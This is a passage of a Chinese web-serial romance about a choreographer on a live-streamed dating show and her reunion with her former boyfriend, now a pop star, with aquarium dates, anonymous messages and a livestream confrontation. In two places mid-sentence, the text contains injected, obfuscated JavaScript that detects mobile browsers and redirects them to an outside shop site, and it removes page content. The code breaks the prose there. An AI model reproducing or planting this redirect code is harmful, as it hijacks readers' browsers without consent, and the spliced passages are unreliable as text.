绿灯亮起,许钧闻平稳起步,语气轻松,仿佛刚才的一切都只是时缈自作多情的错觉:“别想太多,就是单纯地懒得动脑子想新的。” “放心吧时缈,我还不至于至今仍然对你念念不忘。” “那就好。” 时缈的目光落在笔直宽阔的前路上。 许钧闻的这句话像是一记最终审判,为她时隔六年的漫长不安画上了终止符。 “祝贺你啊许钧闻。”时缈忽然弯了弯眼睛。 心底一片复杂的酸涩,但她终于能够朝许钧闻露出了第一个轻快的、发自真心的笑容。 “祝贺我什么?”许钧闻偏头扫了她一眼。 却在对上她笑颜的时候下意识皱了下眉,觉得哪里不太对。 “唔,就……很多事情吧,突然发现,重新遇见你的这段时间里一直忘了对你说‘恭喜’。” 时缈重新将目光转向副驾驶车窗外的方向,恰好一只白色的飞鸟掠过树梢,一往无前地飞往视野之外、更远的地方去了。 恭喜你得偿所愿站在了最大最亮的舞台上。 恭喜你摆脱桎梏将人生和梦想完全掌握在你自己手里。 “总之,就是祝贺你拥有了所有你想要的东西吧。” “虽然这句话来得有点晚,但终于还是当面跟你说出口了,也就没什么遗憾啦。” 时缈这人一向自诩清醒,从没幻想过回国后会重新遇到许钧闻,更没指望会和大明星旧情复燃重归于好。 在这档恋综里重逢已经是意料之外的上天馈赠,让她还有机会和他心平气和地坐在一起,为当初不体面的断联重新补上一个平和的结尾。 亲眼看见他真的过得很好,也确定了她当年幼稚的做法没有给他带来任何影响。 时缈就没有遗憾了。 她曾经在某个音乐app的评论区里看过这样一句话: 没有新的故事,才会对以前念念不忘。 既然不遗憾了,大家都该向前走了。 * 入住别墅小一周。 时缈终于睡了一个好觉。 晨练结束后,回房间冲了个澡,简单化了个淡妆,时缈神清气爽下了楼。 恰好碰见工作人员在对已经做好妆造的程子归和祝意安说: “许老师和青葭老师由于要去参加一个音乐颁奖典礼,要缺席今晚的节目直播了。今天的直播就拜托两位老师了。” 祝意安点点头:“那他们活动结束后是一起回来还是怎么说?” 工作人员却没有明确回答这个问题:“这个我就不清楚了。” 导演的声音从对讲机里传出来,工作人员指了指外面:“那我就先去工作了,两位老师再见啊。” 祝意安转头,恰好看见刚从楼上下来的时缈。 “早。”时缈朝他们笑了一下。 “早啊时缈,”程子归也看见了她,“想好今天和谁约会了吗?” 没错,今天是《适合恋爱的夏天》的第二次约会日,由女生向男嘉宾发起邀约,男嘉宾不能拒绝。 而且,不同女嘉宾可以向同一位异性发出约会邀请。 这就意味着,今天可能会有男嘉宾落单。 时缈点点头:“想好了,但还没去约呢。” 程子归挑眉:“那你动作可得快一点咯,刚才听其他人说,有女嘉宾昨天晚上就去找心仪的男嘉宾约时间了呢。” “好,我会的。” 祝意安在一旁拍了拍程子归的肩:“怎么,模范丈夫小课堂开课了?给时缈偷偷传授什么恋爱约会小技巧呢?怎么不给我也讲讲啊程哥。” “不敢当不敢当,我可没什么经验好传授的,”程子归摆摆手,眼神有意无意地在时缈身上落了一瞬,“时代不同咯,我只觉得看现在的小年轻们谈恋爱还蛮有意思的。” “看好你哦时缈,”程子归耸肩,摸出口袋里节目组的道具卡,“祝你今天约会开心,我们会在观察室里给你们应援的哦。” * 时缈拿着两张门票,站在男生房间门口,抬手敲了敲房门。 门内悉悉索索的声音愈来愈近,房门打开,薛明浩看见她,笑笑:“早上好啊。” “早,”时缈朝门内指了指,“白景川在不在?” “来得正是时候,”薛明浩点点头,转头叫了白景川一声,离开前好心提醒了句,“再晚一点儿可能就不在了。” 时缈了然。 看来白景川早上已经有约了。 “找我?”白景川出门,将房门虚掩,目光落在时缈手上。 “我来晚了?”时缈眨眨眼,玩笑道。 “怎么会,”白景川轻笑,“你开口,我总是有时间的。” 时缈扬了下眉毛,抽出一张门票递给白景川:“那,下午三点半,水族馆门口见?” 白景川接过门票:“好,不见不散。” 时缈发出邀约之后回到自己的房间,温璐仍然对着自己的电脑敲敲打打,手边摆着几个蓝色的文件夹:“约好了?” “嗯,”时缈点头,“约了下午。” “赌一包辣条,上午约老白的是罗艺亭。”温璐勾了勾唇。 时缈耸肩,摇摇头,拒绝了温璐发起的赌.局:“不赌。” “为什么?” “因为我也这么觉得。” 两人相视一笑。 “那你呢?约谁了?”时缈问温璐。 “如果不是节目组不允许弃权的话,我都想放弃这次约会了,”温璐叹口气,转头看她,“约了小薛,就当朋友聚会咯。” “另外三位的心动line都太明显啦,我可不想搅合进来。选他最保险了。” 温璐朝时缈眨眨眼:“啊,这话没有针对你的意思哦。” 四位男嘉宾中,白景川和周璨都对时缈更有好感,而林问从第一天起就坚定地选择了罗艺亭。 温璐对这四位男嘉宾都没有什么太大的恋爱方向的兴趣,也不想被卷进任何讨论话题中,因此,薛明浩对她来说是目前最合适、最安全的选择。 “放心放心,我懂。”时缈比了个“ok”的手势。 “我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13203704|138976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感觉你是比较慢热的那种类型。” 想到今天别墅内开启了全天直播,温璐忍不住替时缈多说几句:“多接触了解一下,不喜欢或者不合适也没关系,说不定大家还能做很好的朋友呢。” 慢热吗? 或许吧。 时缈垂下眸子,低头看着手里的水族馆门票。 “而且我感觉,白哥人还挺不错的,浑身精英范儿看上去就是爸爸妈妈们会很喜欢的那种,”温璐支着下巴想了想,“而且人也蛮绅士的,相处起来不累,是个蛮好的‘相亲对象’。” “说得好像你对相亲这种事很擅长似的。”时缈被她对白景川的评价逗笑。 温璐垮着脸:“你还别说,恐怕我相亲的次数比在场所有嘉宾谈恋爱的次数加起来都多了。” 时缈惊讶:“你家里这么着急把你嫁出去啊?” 温璐点头:“从我毕业回到江城工作的……大概半年之后吧,家里就开始给我相亲了。但是呢,一直也没遇到合适的。这次来上节目,我爸妈可开心坏了,说是就算我在节目里没找到对象也没关系,起码把这个‘广告’打出去了,说不定会有合适的男士看了节目之后线下联系我呢……” 说到这里,温璐摆摆手:“算了,可别提了,我爸妈肯定看直播呢,再说下去我可就真的回不了家了。” 直播间的观众们听完温璐的遭遇,已经没心思再去讨论这两人今天的约会选择的话题了,纷纷对温璐的经历表示出了深切的同情。 「好窒息的家长啊,怜爱了……」 「姐姐这么年轻,长得又漂亮工作又好,为什么非盯着她有没有结婚生子啊,服了,yue」 「想看美女们认真搞事业,不觉得温璐小姐姐加班工作专注的时候真的很帅么!」 当然,其中也不乏一些反对的声音。 「前面人真的很奇怪,不看约会谈恋爱来看什么恋综啊?那么喜欢看加班去看隔壁职场综啊?」 「笑死,这其实就是在挽尊吧?一共四个男嘉宾,目前小薛没有明显心动线,另外三个男嘉宾都对她没兴趣,说这些话完全就是在给自己找心理平衡吧?」 「有些人就是心脏看什么都脏……跑这儿来搞什么雌竞啊?」 听了温璐的话,时缈倒是有些感同身受。 她回国之前倒还好,自从回国后,她亲爱的母亲大人对她的“终身大事”也可谓是十分上心,恨不得拿着大喇叭动员周围所有亲戚朋友老同学老同事什么的给她介绍对象。 为了安抚自家亲妈的情绪,时缈也确实去见过几个。 老领导的外甥、老同学的儿子、好朋友儿子的好朋友…… 外向开朗的、话少内向的、踏实稳重的……各种类型各种职业,只有时缈想不到,没有阿姨们找不到。 但…… 真的不是说她非要在许钧闻这棵已经被她亲手埋了六年的歪脖子树上吊死,实在是没有碰上让她心动的对象啊。 “缘分这种事,”时缈叹了口气,总结陈词,“谁都说不准啊。” 就像她跟许钧闻似的。 任谁听了他们这段故事,恐怕都得感叹一句:果然是孽缘。 14. 14首情歌 下午三点。 时缈乘坐着节目组的车来到水族馆门口的时候,白景川已经好整以暇地等在门口了。 待她走近,白景川将手里的茶饮递给她。 “谢谢,等很久了吗?” 时缈作为这次约会的发起人,特地计划了时间,提前半小时抵达约会地点,还以为要在这儿等上一会儿才能见到人,却没想到白景川居然先一步到达了。 “没有,我也刚到,”白景川自然地伸手,接过她手里的包,“你先喝点水。” 「没有~我也刚到~别太爱了哥」 「也不知道是谁,和上一位女嘉宾吃饭的时候刀叉都快在盘子上磨出火星子了,赶着来下一场呢是吧哈哈哈哈哈哈哈」 「罗姐:真的会谢,说好的绅士风度呢?」 「笑死,就没有人怜爱小林吗?还在家里眼巴巴的等着罗姐回去呢hhhhh」 「他爱她,她爱他,他却爱她,这是什么恋爱闭环啊!」 把约会地点定在水族馆,是经过时缈一番还算严谨的思考之后得出的答案。 既能够满足节目组要求的约会时长,也不至于两个人大眼瞪小眼尴尬地没话找话。 不过令时缈意外的是,白景川对于海洋生物也有一定的了解。 “长吻鼻鱼。” 白景川给她介绍他们面前的灰蓝色鱼类:“也叫独角兽,头上的‘角’是随着身体长度的增长而增长的,有一些长期在人工水箱里养殖的长吻鼻鱼甚至可能根本长不出‘角’。”[1] “这鱼也叫独角兽啊?和我小时候想象的独角兽差距有点大哈。”时缈轻笑,靠近玻璃仔细观察、 “确实,”白景川点点头,附和道,“小时候美术课,我画的独角兽都是那种……长了根角的马。” “我的独角兽的角还是彩色的。”时缈挑眉。 白景川也十分捧场:“那还是你的独角兽更漂亮。” “向这个独角兽许愿的话也能实现吗?”时缈玩笑道。 白景川耸肩:“那要看你许什么愿了。” “比如呢?”时缈有些好奇地追问。 “如果你的愿望是一碗鲜美的鱼汤的话,长大后的长吻鼻鱼可以很轻松地帮你实现。”白景川一本正经地说出这样的话。 “噗……哈哈哈哈。” 时缈被他逗乐。 笑声渐停,时缈脸上的笑意却始终没有消失。她转头看着站在自己身旁,一手拿着自己的包,一手拿着自己刚才还没喝完的茶饮,目光落在水族箱里的白景川。 温璐说得倒是没错。 精英且绅士,相处起来毫无压力。 他会观察你的喜好,顺着你的情绪,适时地抛出一些你也会很感兴趣、愿意进行下去的话题来延续你们的对话。 时缈觉得,大概不管是什么性格脾性的人,和白景川打交道应该都会觉得十分舒适。 圆滑,成熟,周全,体贴。 和许钧闻身上那种与生俱来的锋利桀骜截然不同。 时缈被自己忽然冒出的想法惊到。 她为什么又忽然想起来许钧闻了。 “接下来走哪边?” 白景川的声音将时缈的思绪拽回来。 他神采英拔,身形颀长,陪她在水族馆里漫步时会刻意照顾她的脚步,恰到好处地维持着和她并肩的速度。 即便是察觉到她短暂的跑神,也只是温和地笑着问她下一步想要向左还是向右,并不会刨根究底地打探她到底刚才在想些什么。 就像他昨天目睹了许钧闻提出加她微信的场面时,从善如流地先行离开,即便晚上在别墅的后花园和独自散步的时缈再次相遇,也对早上的事情绝口不提—— “今天晚上的月亮很好看。”白景川在她身侧停下。 “我还以为,大家都会觉得圆月比较好看。”时缈仰头,看着天边悬挂着的上弦月。 “世界上也不是所有事情都能得以圆满的,如果一味只追求那一天圆月的美满,岂不是会辜负剩下三十天的月亮。”白景川转头看她。 时缈有些惊讶于他会说出这样的话,忍不住笑了笑:“我还以为你们金融精英都是追求完美的那种人。” 白景川耸耸肩:“那得看是什么时候了,如果这件事情值得的话,那当然要不惜代价地追求最完美的时机和最大化的利益。” 时缈扬了扬眉,没有说话。 两人安安静静地站在花园里看了会儿月亮,然后一起结伴回了别墅。 站在楼梯拐角处,时缈同他道别:“早点休息。” “明天的约会,想好人选了吗?”白景川问她。 走廊里有些黑,时缈看不见他的表情。 但她猜测,白景川此时应该是望着她的。 “暂时还没有。” 时缈实话实说。她并不想给任何人制造任何的错觉,虽然这里是个恋爱综艺,但人与人交往的基础她认为应该是真诚。 “白景川,说实话,我也不知道。” “慢慢来,不着急,时间还很长呢。”白景川的声音不疾不徐,“晚安。” …… 虽然约会的项目是由嘉宾自行选择的,但节目组还是对整体的时长和大致内容进行了要求,因此每个嘉宾最终的约会行程都是和节目组商量过后敲定的。 参观完场馆之后,两人来到水族馆顶层的咖啡厅休息。 “看,我照片拍得还不错吧?”时缈将刚才给白景川抓拍的照片展示给他看。 “很棒,”白景川点头,意有所指地笑了一声,“回去之后把照片发给我?” 嘉宾之间没有任何联系方式,如果想要交流,只能通过节目组设置的匿名短信环节。 白景川这话的含义也很明显—— 「救,直球哥你不要太会!」 「这不就是摆明了预订姐宝今晚的心动短信了嘛!」 「谢谢谢谢真的嗑到了」 「我宣布,霸王餐这对秒了!」 「等等……什么叫霸王餐?」 「给前面的姐妹解释一下:白景川x时缈=白时=白食=霸王餐,不谢honey~」 「……当代网友是会取名的,这个脑回路,牛ber」 时缈指了指摄像机,借着玩笑避开了这个问题:“摄像老师,这是现在可以说的吗?” 摄像大哥缓缓左右摇摆了一下摄影机。 “喏,节目组不让说哦,”时缈吃了口蛋糕,“到了晚上就知道啦。” 看了一眼时间,快要到提前和节目组讨论过的约会结束时间,时缈刚准备提议两人不如在附近散散步然后就启程回别墅,就见一个工作人员带着顶白色的鸭舌帽,举着一个印着节目组logo的kt板遮住脸走到他们面前。 “两位,由于观察团成员使用道具,你们这次约会时长增加半小时哦。请继续享受几天的约会吧~” 说完,工作人员便快步离开了直播镜头的拍摄范围。 时缈和白景川两人对视一眼。 如出一辙地意外与疑惑。 有从别墅观察团会客室直播间摸过来的网友给这个直播间的观众们解释目前的情况: 「是程子 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「突然觉得许钧闻的提议蛮不错的,把观察团加进收件人列表里得了,这样朱姐和温璐她们也不用每次都绞尽脑汁选‘安全牌’了哈哈哈哈哈」 “我反正是无所谓,今天和谁玩就发给谁呗。”回到房间后的温璐三下五除二地发出了自己的消息,转头看向时缈,“你呢?” “唔,今天的话……” 时缈选择将短信发给了白景川。 在相册中找出白天在水族馆,她为白景川拍的那张照片,时缈敲了一行配文:今天很愉快,希望你也是。 半小时后,来自节目组账号的消息准时发送到她的手机上。 今晚的时缈仍然收到了两条消息,从内容上她也很轻易地判断出了这两条消息的发件人—— 一条来自周璨,一条来自白景川。 但她没想到白景川发来的图片并不是今天约会时拍的: 屏幕上一弯遥遥悬挂在夜幕中的上弦月,通过画面角落里露出的别墅一角,而占据画面正中央的,是一个纤细高挑的背影。 大约是昨晚在别墅的后院看见她的时候抓拍下来的。 而这张夜景图片的配文只有四个字:阴晴圆缺。 人有悲欢离合,月有阴晴圆缺。 此事古难全。 但愿人长久,千里共婵娟。[2] 看着这张照片和短短的四字配文,时缈不禁有些好奇,白景川究竟是在宽慰她“此事古难全”,还是在祝愿她“千里共婵娟”呢? 时缈没琢磨出个所以然。 结束了一整天的直播,时缈难得如此轻易地拥有了睡意。 睡前打开手机,在一众小红点中选择性地回复了几条舞团同事发来的工作消息后,顺手打开了朋友圈。 挂在朋友圈页面最上方的,是来自用户“Xu”,一分钟前发布的最新动态。 许钧闻身穿一身银色高定西装,侧身站在画面中央,斜前方有一束光打在他身上,垂在身侧的手指上叠戴的几枚重工戒指反射出冷冽的银色光点。 而许钧闻的身后,是一个巨大的月亮模型。 拍照的人选择的是仰拍的角度,许钧闻面无表情,垂着眸子,目光并没有落在镜头上,反而给他整个人更添了几分桀骜与孤矜。 显得他宛如一个降临在月球上的宇宙神祇。 时缈的眼神落在许钧闻的文案上: 「圆不圆?」 15. 15首情歌 “是的,没错,后天我们就要出发去美丽的大西北咯,真的很期待呢。” 罗艺亭坐在沙发上用自己的互联网账号开直播,妆容精致到每一根头发丝的弧度都经过了一番仔细的调整,面前手机直播支架的面灯将她整个人衬得白到发光。 “这还是我大学毕业之后第一次和这么多小伙伴们一起外宿呢。” “感谢姜姜小宝贝的嘉年华~比心~” “这会儿啊?白哥和朱姐还没有回来,应该是在加班,周同学已经在回来的路上了,剩下的人都在我身边了哦。” “是嘛?那等下我叫大家来直播间和宝宝们打声招呼哦~” 温璐扫了一眼罗艺亭的方向,不着痕迹地翻了一个白眼。 “可显着她了。” 《适合恋爱的夏天》官方微博发布消息称,节目这两日暂停直播,原因是节目组即将专场到西北外景,这两天暂停直播是为了给各位嘉宾们留出时间去收拾一下自己要带的行李,以及安排一下这一周的个人私事。 原以为这两天可以轻松一些,短暂地从节目拍摄当中抽离出来,过回普通的素人生活。 却没想到,罗艺亭主动向节目组请缨,表示自己可以用自己的平台账号进行直播,时不时在直播间里给网友们“剧透”一下他们接下来的录制行程,以此来维持节目的话题和热度。 “可以。”导演和平台方代表拍板得很爽快。 毕竟有谁会嫌自己的节目热度不够高呢? “用我们做吉祥物给自己的账号吸粉赚流量,这算盘珠子打得我在北极都要听见了。”温璐哼了一声。 “好啦,谁让我们和节目组签合同了呢。”时缈安抚地拍了拍温璐的手背,“调整一下表情哦。” 按照直播开始前,罗艺亭的“安排”,等下嘉宾们要一起在她的直播间里同框出现,和线上的粉丝们进行简单的互动。 “没事,没什么人会看我的,”温璐朝某个方向努了努嘴,“喏,那有一只忙着在镜头面前开屏的花孔雀呢,我看他们两个人就足够撑起一场直播了,还麻烦我们干什么。” 温璐指的是坐在罗艺亭旁边,时不时给她递杯水,动不动问问她空调温度合不合适,一副贴心小奶狗模样的林问。 节目播出这段时间,时缈、白景川、罗艺亭、林问四个人之间的感情走向几乎贡献了一大半的讨论度。 一部分人坚定地嗑起了时缈和白景川这对“霸王餐”cp,一部分人则对一直给白景川释放信号的罗艺亭表达了怜爱,另一部分人则是心疼始终坚定不移走向罗艺亭的林问。 顾梦瑶甚至给时缈发来过网友们总结的四人之间的“爱恨情仇梳理图”。 “建议这俩锁死,别霍霍别人了。”温璐拍了拍时缈的手背。 她对于时缈最近深陷话题中心的状况也有所了解。 由于节目里她和时缈既是室友,又表现出了相对亲密的关系,以至于她的不少朋友,甚至有几个客户,都发来消息追问到底哪对cp才是真的。 “姐姐们,来跟大家打个招呼呀。”罗艺亭转头看向坐在旁边的时缈和温璐,朝她们招招手。 笑容真挚且灿烂。 仿佛和她们关系有多亲密无间似的。 温璐深吸一口气,挽着时缈坐近了一点,端起得体的微笑看向镜头,时不时在罗艺亭的引导下回应一些弹幕上网友们的问题。 虽然不喜欢罗艺亭本人,但时缈对她作为网红主播的业务能力还是十分认可的。整场直播下来,她从没有让直播间冷过场,即便过程中也出现了一些十分不友好的弹幕,罗艺亭也能保持笑容很快地将问题化解。 “那接下来我给大家表演个才艺好了。”罗艺亭从身后拿出一把尤克里里,朝镜头眨眨眼,娇俏地笑,“我在节目里都还没有展示过哦,通过节目才认识到我的新粉宝宝们有福咯。” “今天啊,今天只有我们素人嘉宾在别墅里哦,观察团的老师们不在呢,因为今天不是节目组安排的录制嘛。” 罗艺亭看了一眼弹幕问得最多的消息,挑眉摇摇头:“许老师的工作安排我们怎么会知道呢?等节目开始直播的时候大家就知道啦。” 时缈掀起眼睫朝罗艺亭直播间的弹幕扫了一眼。 字符滚动得很快,在她的位置看不清具体,但通过罗艺亭的回应,时缈猜测大概是有人在直播间问许钧闻是不是真的不参与后续的节目录制了—— 许钧闻和青葭因为参加音乐盛典颁奖活动,缺席了一场节目直播。但当天音乐盛典结束后,却只有青葭一个人回到了别墅。 “许老师今晚满载而归,大概是和团队成员庆祝去了吧。” 彼时,#许钧闻年度最佳歌手#和#许钧闻年度最佳单曲#两个词条一前一后挂在热搜上,后面还跟着一个火红的“爆”字,全网都知道许钧闻今晚力捧两项大奖,堪称这场颁奖盛典的最大赢家。 “不过我听说啊。” 当晚各自回房间休息后,温璐无意间随口说了句:“许钧闻好像只跟这个节目签了两期合同,大概就算不参加颁奖的话今天也应该要走了吧。” 时缈正对着镜子涂面霜,发音有些含糊:“这样啊。” “听说是临时帮朋友救场的,原本这节目定的不是他,”温璐耸肩,“也是,他看起来就不是个会接这种综艺的人嘛。” 时缈垂下眼睫“嗯”了一声。 他不喜欢的工作告一段落了。 她也不用每天提心吊胆地防着摄影机了。 挺好。 两全其美。 手机镜头捕捉到时缈的视线,直播间弹幕有网友刷起了时缈的名字。 罗艺亭嘴角的笑容僵硬了一瞬,但在镜头下,她还是要维持一个优雅美好的人设:“时缈姐姐,网友们跟你打招呼呢,你要不要过来和大家聊两句?” 时缈摆摆手,浅笑:“不了不了,我不擅长这个,就感谢大家对我和节目的支持吧。” 罗艺亭转头,发现弹幕上网友们的注意力还提聚焦在时缈的身上。 眼珠转了一圈,罗艺亭笑吟吟地开口:“既然大家这么时缈姐姐,那我们让时缈姐姐给大家表演个节目吧?” “姐姐不是搞舞蹈的嘛,能不能给观众宝宝们表演一下?” “准确地说,我是编导,不是舞蹈演员。” 时缈婉拒,顺势给自家舞团打了个小小的广告:“有兴趣的朋友们可以到时候来江城大剧院看我们舞团的古典舞剧目,我们团的演员都很优秀,相信大家一定会喜欢的。” “可是,我在网上搜到过你哦时缈姐姐。” 罗艺亭摸出手机,打开相册里的一张截图,举在众人面前,将画面中间的人影放大:“你看,这个照片里的人是你吧?TheresiaShi?英国塔西莉亚古典舞团没错吧?” 时缈呼吸一滞。 她没想到居然真的会有人无聊到这种地步。 还能从好几年前的模糊合照边角里找到她。 “那都是好几年前的事情了,那会儿我是作为交换生去国外进修的,在塔西莉亚古典舞团待过一段时间,后来我转编导之后就再也没有跳过舞了。” 时缈在镜头前维持着基本的体面和耐心,自我打趣:“我可不希望大家看过我的真实水准之后对我们舞团的整体水平产生误解,要是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13222839|138976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这样的话我可真的要向团长负荆请罪了。” “这有什么的,别谦虚嘛时缈姐。” 见时缈不愿意,林问也加入了劝说她的行列里:“你看刚才,小艺不是也给大家唱歌了嘛,她也不是专业的呀,大大方方表演一个又没什么的。” 时缈向后靠了靠,右手手臂横在身前,手掌按在自己腰侧,抿唇不语。 弹幕的观众逐渐有些不耐烦了起来: 「该不会履历和工作是造假的吧?」 「有点矫情了这个姐。」 「都说到这个份上了还不愿意,多少有点玩不起了吧,玩不起还上什么节目呢?」 但也有网友站在时缈这边: 「你比节目组会做背调?假履历还能瞒得住这么多人?别搞笑了。」 「人家就是不想跳啊,凭什么你们说想看人家就要跳,给人家出场费了吗?」 “要不这样,我给你们来段吧,”温璐撩了撩自己的头发,挺身而出为时缈解围,“虽然你们可能看不出来,但我小时候也学过好几年的拉丁呢。” “璐姐,人家缈姐可是专业的,咱们这种业余水平的小喽啰怎么能在人家面前班门弄斧呀,”在罗艺亭面前一直被拒绝,林问一时间情绪有些上头,不依不饶地盯着时缈,“我还没看过专业人士的现场演出呢。” 时缈实在不想在直播间里当着这么多网友的面和罗艺亭林问撕破脸,万一场面僵硬不好收场,影响到节目后续的直播,合同上那串违约金的数目实在令时缈肉痛。 按在腰侧的手掌微微使力。 随便跳一下,应该问题也不大…… 时缈轻叹一口气—— “人家说了‘不想跳’,你是聋了还是听不懂人话了?” 许钧闻站在客厅入口处,双臂环胸,靠在墙壁上冷冷睨着林问。 “许老师!” 罗艺亭率先站起来:“你回来啦,吃过晚饭了没啊?” “直播间的观众们刚刚还问起你了呢,要不要来给大家打声招呼?” 许钧闻对罗艺亭的话充耳不闻,面色不善地走进客厅。 只在路过她面前的时候,瞥了一眼立在中间的手机,淡淡地:“关了。” “啊?”罗艺亭愣住。 随即她向许钧闻解释:“许老师,这个直播是节目组同意之后才开播的,这不也是为了给节目……” “我说,关了。” “他听不懂,你也听不懂?” “最后再说一次,再不关我就让我的经纪人发律师函了。”许钧闻嘲弄地勾了下唇角。 直播间里还有那么多在线的网友呢。 他这样子要是被有心人断章取义地截图发出去,对他的口碑势必会有影响的。 时缈紧张地站起身,看向许钧闻,试图缓和一下目前的气氛:“许老师……” 许钧闻走到时缈身边,一手按在她肩上,不容反抗地按着她坐回去,自己也顺势坐在她身侧,抱着手臂看着对面的林问:“问你的话你还没回答呢。” “许老师……” 原本脸上还挂着嬉笑的林问被许钧闻怼得面色一僵。 “真聋了?我认识挺靠谱的耳鼻喉科医生,推荐给你去看一下?” “许钧闻。” 时缈在桌子下面偷偷扯了扯许钧闻的袖子,极力压低自己的声音:“注意形象。” 许钧闻偏头看了一眼已经关闭了直播的手机,勾唇笑了下:“不就是仗着直播,欺负你脸皮薄吗?看不出来,时缈,你脾气还怪好的啊。” “可惜了,我这人,出了名的脾气差,而且最看不得别人欺负……弱势群体。” 16. 16首情歌 整场闹剧最终以林问走到时缈面前,鞠了一个标准的九十度的躬,并向她和温璐赔礼道歉作为结束。 “怪不得网上的营销号说许钧闻发起脾气来还是蛮吓人的,今天算是见到了。” 回到房间,温璐仍在复盘方才发生的一切:“你当时是没看到,罗艺亭的脸都绿了。该说不说,看她吃瘪我是真的有爽到。” “你很不喜欢她哦?” 时缈也不是傻子,她能感觉得出来,罗艺亭的“恶意”似乎一直只针对她一个人。 但其实罗艺亭的职业和她们没有重合度,下了节目之后时缈认为她们也不会再有任何接触,因此即使有时候罗艺亭的态度让她觉得有些不舒服,她也懒得去理会。 她还以为温璐会和朱蕴一样,就这样睁一只眼闭一只眼地度过这一个月呢。 “看不惯她那副仗着自己在网上有粉丝就显得高人一等的样子。” 温璐耸肩:“更看不上她一边想跟白景川发生点什么,一边又吊着林问的样子。当然,我看林问那小子脑子也不像是缺根弦的样子,是不是真的对罗艺亭有好感都另说呢。” “唉,”温璐叹了口气,仰面倒在床上,“录个综艺也太麻烦了,简直想象不到那些明星们每天生活在大众的审视下,时刻维持着自己的人设到底要顶着多大的压力。” “确实。” 说起这点,时缈就忍不住担心,许钧闻今天在罗艺亭的直播间发作那一通之后,会不会给他带来什么负面影响。 摸出手机,时缈登录微博小号。 但令她意外的是,平时有任何风吹草动都会登上热搜的流量圣体许钧闻,今晚的热搜上却没有与他有关的任何消息。 仿佛刚才的一切都没有发生似的。 * 四楼房间。 许钧闻握着手机站在窗边,身影几乎快和窗外的夜色融为一体。 “我的祖宗,你下次发脾气的时候能不能看看场合?你知道我为了给你撤热搜花了大多功夫吗?” 电话里,许钧闻的经纪人豪哥苦口婆心地劝道:“我知道你是路见不平拔刀相助,但你拔刀之前好歹先通知一下我吧?你还敢在直播间里当着那么多网友的面直接说要让我给人家下律师函!我真是人在车中坐,工作天上来。” “之前不想录,是觉得没意思。” 许钧闻理所当然:“现在又觉得有意思了。” “而且这不是怕你最近一个人守着工作室太无聊了吗,给你找点事情干。”许钧闻对自己惹出的乱子丝毫没有愧疚感。 “我真是谢谢你。” 豪哥冷笑一声,随即又不解地抱怨道:“当初找你救场的时候,你自己说只签两期,结果人家现在新嘉宾找到了,你又说要续约整季节目了。许大少爷,你能不能给我解释一下你到底在想什么?” 《适合恋爱的夏天》一开始定的观察团嘉宾里的确没有许钧闻。 但另一位艺人在综艺开播之前,临时被导演通知需要提前进组,故而放了节目组的鸽子。 这个项目的执行制作人急得满世界询问是否有档期合适的艺人能来救场。 这位制作人和许钧闻的团队私下关系不错,因此接到对方电话后,向来不给综艺邀约眼神的许钧闻破天荒地点了头。 “只签两期,就说我马上要闭关写新专辑主题曲了。” 许钧闻当时是这么跟豪哥说的:“让节目组尽快找到接替我的新嘉宾。” 参加完音乐盛典颁奖礼,飞机落地江城,司机师傅早早就在地下停车场等候着他们。 上车后,豪哥自前排回头,刚准备提醒许钧闻《适合恋爱的夏天》合约到期。 坐在后座阖着眼小憩,令不少音乐人眼红无比的两座奖杯被随意丢在身侧空着的真皮座椅上,浑身散发着莫名烦躁气息的许钧闻忽然开口了: “《适合恋爱的夏天》的合约——” “啊,我刚好要跟你说这个呢……”豪哥举起手里的平板。 许钧闻沉声:“给我续一下。” “嗯嗯好的……嗯?!你要什么?”豪哥被他忽然改变的主意打了个措手不及,“你说你要和《适合恋爱的夏天》续约?” “嗯,”许钧闻点点头,懒懒掀开眼睫,吩咐司机师傅,“直接送我回节目组的别墅。” 豪哥再次确认:“不是不是,等等,你确定你要续约?” 许钧闻不耐烦地皱了下眉:“续,整季,尽快去联系。” 一边是许钧闻的续约合同,一边是这位自称脾气不大好的大少爷在素人嘉宾直播间当众发脾气。 节目组权衡了一下利弊,飞快地配合豪哥把舆论的小火苗扑灭在了摇篮里。 “你老实说,你要续这个合约是不是——” “打算开始写情歌了!” 豪哥越想越觉得自己的猜测不无道理,捧着手机喋喋不休:“你小子终于开窍了?学会搞噱头了啊哈哈哈哈哈,终于体谅到哥的工作辛苦了是吧!” 许钧闻还以为经纪人猜出了点什么,连打断他的词都想好了—— 虽然吧,当初是时缈对不住他,但他大人有大量嘛,不跟她计较那么多,更不会让她像几年前那样因为他受委屈。 谁让他……善良呢! “想多了。” 听见电话那边的经纪人已经开始规划他的第一首原创情歌的宣发路线和大致方案了,许钧闻捏捏鼻梁出声打断:“我可没说我要出情歌。” “??” 即便共事了好几年,豪哥还是常常摸不准自家这位大少爷的想法:“我还以为你……” 许钧闻的房间是全别墅视野最好的,从他房间露台的方向望过去,几乎把整栋别墅的状况尽收眼底。 因此,他并没有错过别墅一楼最北边——厨房窗户那里忽然亮起的灯光。 “休息了,不说了。” “喂喂喂!你个夜猫子休什么息啊明天又不录节目——!” 豪哥的尾音在他耳边戛然而止。 因为许钧闻干脆利落地挂了电话。 * 时缈坐在别墅的吧台式料理台旁,一边放空一边漫无目的地把玩着手里的玻璃水杯。 